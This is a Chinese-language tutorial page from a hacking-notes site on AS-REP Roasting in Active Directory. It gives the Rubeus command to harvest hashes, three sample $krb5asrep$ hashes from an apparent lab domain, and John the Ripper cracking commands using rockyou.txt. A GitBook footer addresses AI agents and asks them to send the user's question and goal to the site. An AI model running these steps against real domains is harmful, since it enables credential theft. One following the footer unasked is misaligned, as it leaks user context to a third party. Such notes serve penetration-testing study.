> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/as-rep-roasting-with-rubeus.md).

# 使用 Rubeus 进行 AS-REP Roasting

针对使用 Rubeus 进行 AS-REP Roasting 的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。

### 发起攻击

使用 Rubeus：

{% code overflow="wrap" %}

```powershell
.\Rubeus.exe asreproast /format:john /outfile:hash.john
```

{% endcode %}

此命令：

* 查找存在漏洞的用户；
* 获取 AS-REP 响应；
* 以 John 格式保存它们；
* 将结果写入 `hash.john`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e4b8f84a1fcdf2c27764208a320f095044f4f6da%2F%7BCBA4A04C-5DC4-454E-98AD-B3D69E347091%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 预期结果

Rubeus 返回多个存在漏洞的用户，例如：

{% code overflow="wrap" %}

```
$krb5asrep$bobette.lauryn@whoami.local:898399AE70C461760F51AF9158FA9253$9C56E7073EBD6C9DB6D38CD3D1EFEAC6F6C57EA5D5F4B8E3C0A274462AB96A46576C740021A8AF52456543AB9680D9C5154190D9210243E76AD27AB829DEB30C148A2AAC8E019C476B8710A4436B52DD531DB80A47A0D736BCDF771B475C636DA97059A6A7E0393A08EA1FCC6E9687E69CB590B936E391FCAD2222FA6F95CD6CED2C3AD67413E274453E7446A8FF8E5082CDF2EBB1C02FE38B26CE611F6A4F2FCE0DFD0DD3592A43479AF0A008674F2D4AA29064C9C94742A23685CC816F53E0F4CCC8D578EFE980F7E57A063DE2A24B1E35FB5F7B2601B30F67C6FDB3B4F331AE86542044439947C0A4039D

$krb5asrep$kaye.harri@whoami.local:90C90B315354E43708428470BD528EE8$0A3C9AC81C525EF88535AB3B23CA29EA92FC4548FC2A6754713A0DE6E5993FB7F3143F904488F0C3D869210C66933DB6451C920C49C263FEF8D9A8FA799313A1670CBB2464B3BB9675526B53B91213D036271C1EB51FDF2EF31503D502F97274DEC272D8AF8154E1ED2817CF868C3BC84B610886692EEFB9C26FA258CB58207236CC09BBBFA2620F0540FF28AFA463E87D661AB8810B7235D2255166A16A45E3C5C467AF4E0F50183D79CA95AEBCADF74DBECF7F13F2E3B2BF5B439BC4256A25670981A089E897D47F2FE161E6FECB590F639A12B7674D40C2AE44A6523CD8F656F7F077F22ADDB93F86941C

$krb5asrep$carolyne.gweneth@whoami.local:FB6E719F504D35A6188207BE9954E214$164723BF993D624E89A5A118FC9BB7CBBE5E94DB5CC22C5CE7C702CA44BBBFB22399BB84988363558BAA58D12FC4CD2FCA31C69DC4543C51E3E50587A5318B32C468224AE8B37709DD7323F7F8781D7A598C1F42FA9E6D6141877A03911627462A1F5744519DE6E7F3C25BF5B55C3A8905373840582E1822D81293D16321A3BAC636CD98B737D3608B0DBBBCA38B78E8D06C741B2FDA54F3EB565ABD3AAD80CE59C990A0344DBBB88F78B85B0CEF2A9FEE526B841DA013C5385E1AB7D340F8A5AECFC609CD75019C5332D3FE59F8EE8ADC6FC33BDBCF2FADC536B7EC28C037B5D4E86BF13A36A6364EF153E9
```

{% endcode %}

### 使用 John 破解

运行 John：

{% code overflow="wrap" %}

```bash
john hash
```

{% endcode %}

或者使用字典：

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b224c3f4d5fd436a6f40ec34fa5655ea5a15e416%2F%7BE149B49E-A9ED-417B-A3E5-3915B53EB5B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/as-rep-roasting-with-rubeus.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
